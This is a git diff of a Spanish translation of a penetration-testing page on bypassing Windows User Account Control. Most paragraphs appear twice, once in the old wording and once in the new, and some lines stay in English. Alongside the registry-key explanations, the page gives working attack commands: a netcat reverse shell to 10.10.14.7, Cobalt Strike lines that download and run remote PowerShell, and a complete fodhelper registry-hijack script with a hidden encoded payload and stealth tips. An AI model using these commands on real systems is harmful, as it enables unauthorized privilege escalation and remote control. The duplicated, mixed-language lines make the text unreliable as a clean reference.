| [Control de Cuentas de Usuario: Detectar instalaciones de aplicaciones y solicitar elevación](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Habilitado (predeterminado para hogar) Deshabilitado (predeterminado para empresa) |
|
||||
| [Control de Cuentas de Usuario: Solo elevar ejecutables que están firmados y validados](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deshabilitado |
|
||||
| [Control de Cuentas de Usuario: Solo elevar aplicaciones UIAccess que están instaladas en ubicaciones seguras](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Habilitado |
|
||||
| [Control de Cuentas de Usuario: Ejecutar todos los administradores en Modo de Aprobación de Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Habilitado |
|
||||
| [Control de Cuentas de Usuario: Cambiar al escritorio seguro al solicitar elevación](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Habilitado |
|
||||
| [Control de Cuentas de Usuario: Virtualizar fallos de escritura de archivos y registro a ubicaciones por usuario](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Habilitado |
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deshabilitado |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deshabilitado |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Solicitar consentimiento para binarios que no son de Windows |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Solicitar credenciales en el escritorio seguro |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Habilitado (predeterminado en Home) Deshabilitado (predeterminado en Enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deshabilitado |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Habilitado |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Habilitado |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Habilitado |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Habilitado |
|
||||
|
||||
### Teoría de Bypass de UAC
|
||||
### UAC Bypass Theory
|
||||
|
||||
Algunos programas son **autoelevados automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con valor _**True**_. El binario también debe estar **firmado por Microsoft**.
|
||||
Algunos programas se **autoelevan automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifests**_ la opción _**autoElevate**_ con valor _**True**_. El binario también tiene que estar **firmado por Microsoft**.
|
||||
|
||||
Muchos procesos de auto-elevación exponen **funcionalidad a través de objetos COM o servidores RPC**, que pueden ser invocados desde procesos que se ejecutan con integridad media (privilegios de nivel de usuario regular). Tenga en cuenta que COM (Modelo de Objeto Componente) y RPC (Llamada a Procedimiento Remoto) son métodos que los programas de Windows utilizan para comunicarse y ejecutar funciones a través de diferentes procesos. Por ejemplo, el **`IFileOperation COM object`** está diseñado para manejar operaciones de archivos (copiar, eliminar, mover) y puede elevar automáticamente privilegios sin un mensaje.
|
||||
Muchos procesos auto-elevados exponen **funcionalidad vía objetos COM o servidores RPC**, que pueden invocarse desde procesos que se ejecutan con integridad media (privilegios a nivel de usuario normal). Nota que COM (Component Object Model) y RPC (Remote Procedure Call) son métodos que usan los programas de Windows para comunicarse y ejecutar funciones entre procesos diferentes. Por ejemplo, **`IFileOperation COM object`** está diseñado para manejar operaciones de archivos (copiar, eliminar, mover) y puede autoelevar privilegios sin mostrar un aviso.
|
||||
|
||||
Tenga en cuenta que se pueden realizar algunas verificaciones, como comprobar si el proceso se ejecutó desde el **directorio System32**, que se puede eludir, por ejemplo, **inyectando en explorer.exe** u otro ejecutable ubicado en System32.
|
||||
Ten en cuenta que se pueden realizar algunas comprobaciones, como verificar si el proceso se ejecutó desde el directorio **System32**, lo cual puede omitirse por ejemplo **inyectando en explorer.exe** u otro ejecutable ubicado en System32.
|
||||
|
||||
Otra forma de eludir estas verificaciones es **modificar el PEB**. Cada proceso en Windows tiene un Bloque de Entorno del Proceso (PEB), que incluye datos importantes sobre el proceso, como su ruta ejecutable. Al modificar el PEB, los atacantes pueden falsificar (spoof) la ubicación de su propio proceso malicioso, haciendo que parezca que se ejecuta desde un directorio de confianza (como system32). Esta información falsificada engaña al objeto COM para que eleve automáticamente los privilegios sin solicitar al usuario.
|
||||
Otra forma de sortear estas comprobaciones es **modificar el PEB**. Cada proceso en Windows tiene un Process Environment Block (PEB), que incluye datos importantes sobre el proceso, como su ruta ejecutable. Al modificar el PEB, los atacantes pueden falsificar (spoofear) la ubicación de su propio proceso malicioso, haciendo que parezca ejecutarse desde un directorio de confianza (como system32). Esta información falsificada engaña al objeto COM para autoelevar privilegios sin pedir confirmación al usuario.
|
||||
|
||||
Luego, para **eludir** el **UAC** (elevar del **nivel** de integridad **media** a **alta**), algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**.
|
||||
Entonces, para **eludir** el **UAC** (elevar de nivel de integridad **medium** a **high**) algunos atacantes usan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso con nivel de integridad alto**.
|
||||
|
||||
Puede **verificar** el _**Manifiesto**_ de un binario utilizando la herramienta _**sigcheck.exe**_ de Sysinternals. (`sigcheck.exe -m <file>`) Y puede **ver** el **nivel de integridad** de los procesos utilizando _Process Explorer_ o _Process Monitor_ (de Sysinternals).
|
||||
Puedes **comprobar** el _**Manifest**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. (`sigcheck.exe -m <file>`) Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals).
|
||||
|
||||
### Verificar UAC
|
||||
### Comprobar UAC
|
||||
|
||||
Para confirmar si UAC está habilitado, haga:
|
||||
Para confirmar si UAC está habilitado haz:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Si es **`1`** entonces UAC está **activado**, si es **`0`** o **no existe**, entonces UAC está **inactivo**.
|
||||
Si es **`1`** entonces UAC está **activado**, si es **`0`** o no existe, entonces UAC está **inactivo**.
|
||||
|
||||
Luego, verifica **qué nivel** está configurado:
|
||||
Luego, comprueba **qué nivel** está configurado:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- Si **`0`** entonces, UAC no pedirá (como **deshabilitado**)
|
||||
- Si **`1`** se le **pide al administrador el nombre de usuario y la contraseña** para ejecutar el binario con altos derechos (en Secure Desktop)
|
||||
- Si **`2`** (**Siempre notifícame**) UAC siempre pedirá confirmación al administrador cuando intente ejecutar algo con altos privilegios (en Secure Desktop)
|
||||
- Si **`3`** como `1` pero no necesariamente en Secure Desktop
|
||||
- Si **`4`** como `2` pero no necesariamente en Secure Desktop
|
||||
- si **`5`**(**predeterminado**) pedirá al administrador que confirme para ejecutar binarios no de Windows con altos privilegios
|
||||
- Si **`0`**, entonces UAC no pedirá confirmación (como **desactivado**)
|
||||
- Si **`1`** se le **pide al administrador nombre de usuario y contraseña** para ejecutar el binario con privilegios elevados (on Secure Desktop)
|
||||
- Si **`2`** (**Notificarme siempre**) UAC siempre pedirá confirmación al administrador cuando intente ejecutar algo con privilegios elevados (on Secure Desktop)
|
||||
- Si **`3`** como `1` pero no es necesario en Secure Desktop
|
||||
- Si **`4`** como `2` pero no es necesario en Secure Desktop
|
||||
- Si **`5`**(**predeterminado**) solicitará al administrador que confirme la ejecución de binarios no pertenecientes a Windows con privilegios elevados
|
||||
|
||||
Luego, debes revisar el valor de **`LocalAccountTokenFilterPolicy`**\
|
||||
Si el valor es **`0`**, entonces, solo el usuario **RID 500** (**Administrador incorporado**) puede realizar **tareas de administrador sin UAC**, y si es `1`, **todas las cuentas dentro del grupo "Administradores"** pueden hacerlo.
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
Si el valor es **`0`**, entonces solo el usuario **RID 500** (**built-in Administrator**) puede realizar **tareas de administrador sin UAC**, y si es `1`, **todas las cuentas dentro del grupo "Administrators"** pueden hacerlo.
|
||||
|
||||
Y, finalmente, revisa el valor de la clave **`FilterAdministratorToken`**\
|
||||
Si **`0`**(predeterminado), la **cuenta de Administrador incorporado puede** realizar tareas de administración remota y si **`1`** la cuenta de Administrador incorporado **no puede** realizar tareas de administración remota, a menos que `LocalAccountTokenFilterPolicy` esté configurado en `1`.
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
Si **`0`** (predeterminado), la cuenta **built-in Administrator** puede realizar tareas de administración remota y si **`1`** la cuenta built-in Administrator **no puede** realizar tareas de administración remota, a menos que `LocalAccountTokenFilterPolicy` esté establecido en `1`.
|
||||
|
||||
#### Resumen
|
||||
#### Summary
|
||||
|
||||
- Si `EnableLUA=0` o **no existe**, **sin UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, Sin UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, Sin UAC para RID 500 (Administrador incorporado)**
|
||||
- Si `EnableLUA=0` o **no existe**, **no hay UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, no hay UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, no hay UAC para RID 500 (Built-in Administrator)**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`, UAC para todos**
|
||||
|
||||
Toda esta información se puede recopilar utilizando el módulo **metasploit**: `post/windows/gather/win_privs`
|
||||
Toda esta información puede recopilarse usando el módulo **metasploit**: `post/windows/gather/win_privs`
|
||||
|
||||
También puedes verificar los grupos de tu usuario y obtener el nivel de integridad:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
```
|
||||
## Bypass de UAC
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC.
|
||||
> Tenga en cuenta que si tiene acceso gráfico a la víctima, UAC bypass es muy sencillo ya que simplemente puede hacer clic en "Yes" cuando aparezca el UAC prompt
|
||||
|
||||
El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, su proceso se está ejecutando en un contexto de integridad media y su usuario pertenece al grupo de administradores**.
|
||||
The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
|
||||
|
||||
Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).**
|
||||
Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Always) que si está en cualquiera de los otros niveles (Default).**
|
||||
|
||||
### UAC desactivado
|
||||
### UAC deshabilitado
|
||||
|
||||
Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como:
|
||||
Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puedes **execute a reverse shell with admin privileges** (nivel de integridad alto) usando algo como:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
#### Bypass de UAC con duplicación de token
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Muy** Básico "bypass" de UAC (acceso completo al sistema de archivos)
|
||||
### **Muy** Básico UAC "bypass" (acceso completo al sistema de archivos)
|
||||
|
||||
Si tienes un shell con un usuario que está dentro del grupo de Administradores, puedes **montar el C$** compartido a través de SMB (sistema de archivos) local en un nuevo disco y tendrás **acceso a todo dentro del sistema de archivos** (incluso la carpeta de inicio del Administrador).
|
||||
Si tienes una shell con un usuario que pertenece al grupo Administrators puedes **mount the C$** compartido vía SMB (sistema de archivos) local como una nueva unidad y tendrás **access to everything inside the file system** (incluso la carpeta de inicio de Administrator).
|
||||
|
||||
> [!WARNING]
|
||||
> **Parece que este truco ya no funciona**
|
||||
@ -123,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### Bypass de UAC con Cobalt Strike
|
||||
### UAC bypass con cobalt strike
|
||||
|
||||
Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel máximo de seguridad.
|
||||
Las técnicas de Cobalt Strike solo funcionarán si UAC no está configurado en su nivel de seguridad máximo.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** y **Metasploit** también tienen varios módulos para **bypassear** el **UAC**.
|
||||
**Empire** y **Metasploit** también tienen varios módulos para **bypass** de la **UAC**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### Explotaciones de bypass de UAC
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME)que es una **compilación** de varias explotaciones de bypass de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\
|
||||
Debes **tener cuidado** porque algunos bypasses **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo.
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varios exploits de bypass de UAC. Tenga en cuenta que necesitará **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitará saber **cuál necesita.**\
|
||||
Debe **tener cuidado** porque algunos bypasses **harán que otros programas muestren avisos** que **alertarán** al **usuario** de que algo está ocurriendo.
|
||||
|
||||
UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte tus versiones:
|
||||
UACME tiene la **versión de build desde la cual cada técnica empezó a funcionar**. Puede buscar una técnica que afecte a sus versiones:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,41 +157,79 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
También, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación.
|
||||
Además, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) obtienes la versión de Windows `1607` a partir de los números de compilación.
|
||||
|
||||
#### Más bypass de UAC
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
**Todas** las técnicas utilizadas aquí para eludir AUC **requieren** un **shell interactivo completo** con la víctima (un shell común de nc.exe no es suficiente).
|
||||
El binario confiable `fodhelper.exe` se autoeleva en Windows modernos. Al ejecutarse, consulta la ruta de registro por usuario que aparece a continuación sin validar el verbo `DelegateExecute`. Plantar un comando allí permite que un proceso de Medium Integrity (el usuario está en Administrators) inicie un proceso de High Integrity sin mostrar un UAC prompt.
|
||||
|
||||
Puedes obtenerlo usando una sesión de **meterpreter**. Migra a un **proceso** que tenga el valor de **Session** igual a **1**:
|
||||
Ruta del registro consultada por fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Pasos de PowerShell (set your payload, then trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Notes:
|
||||
- Funciona cuando el usuario actual es miembro de Administrators y el nivel de UAC es predeterminado/permisivo (no Always Notify con restricciones adicionales).
|
||||
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
|
||||
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
|
||||
|
||||
#### Más sobre UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ debería funcionar)
|
||||
(_explorer.exe_ should works)
|
||||
|
||||
### Bypass de UAC con GUI
|
||||
### UAC Bypass con GUI
|
||||
|
||||
Si tienes acceso a una **GUI, solo puedes aceptar el aviso de UAC** cuando lo recibas, realmente no necesitas un bypass. Así que, obtener acceso a una GUI te permitirá eludir el UAC.
|
||||
Si tienes acceso a una **GUI puedes simplemente aceptar el UAC prompt** cuando lo recibas; realmente no necesitas un bypass. Por lo tanto, obtener acceso a una GUI te permitirá bypassear el UAC.
|
||||
|
||||
Además, si obtienes una sesión de GUI que alguien estaba usando (potencialmente a través de RDP), hay **algunas herramientas que se ejecutarán como administrador** desde donde podrías **ejecutar** un **cmd** por ejemplo **como admin** directamente sin que se te pida nuevamente por UAC como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Esto podría ser un poco más **sigiloso**.
|
||||
Además, si obtienes una sesión GUI que alguien estaba usando (potencialmente vía RDP) hay **algunas herramientas que se estarán ejecutando como administrator** desde las cuales podrías **run** un **cmd** por ejemplo **as admin** directamente sin que UAC vuelva a solicitarlo, como [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Esto puede ser un poco más **stealthy**.
|
||||
|
||||
### Bypass de UAC ruidoso por fuerza bruta
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
Si no te importa ser ruidoso, siempre podrías **ejecutar algo como** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **pide elevar permisos hasta que el usuario lo acepte**.
|
||||
Si no te importa ser ruidoso siempre podrías **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) que **ask to elevate permissions until the user does accepts it**.
|
||||
|
||||
### Tu propio bypass - Metodología básica de bypass de UAC
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
Si miras **UACME** notarás que **la mayoría de los UAC bypasses abusan de una vulnerabilidad Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta, se ejecute en un nivel de integridad alto).
|
||||
2. Con procmon encuentra eventos "**NAME NOT FOUND**" que pueden ser vulnerables a **DLL Hijacking**.
|
||||
3. Probablemente necesitarás **escribir** la DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando:
|
||||
1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta desde un nivel de integridad alto).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Prepara un **script** para copiar tu DLL dentro de la ruta protegida y ejecutar el binario vulnerable y autoelevado.
|
||||
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
|
||||
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
|
||||
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
|
||||
|
||||
### Otra técnica de bypass de UAC
|
||||
### Otra técnica de UAC bypass
|
||||
|
||||
Consiste en observar si un **binario autoElevado** intenta **leer** del **registro** el **nombre/ruta** de un **binario** o **comando** a ser **ejecutado** (esto es más interesante si el binario busca esta información dentro del **HKCU**).
|
||||
Consiste en observar si un **autoElevated binary** intenta **read** desde el **registry** el **name/path** de un **binary** o **command** a ser **executed** (esto es más interesante si el binary busca esta información dentro de **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user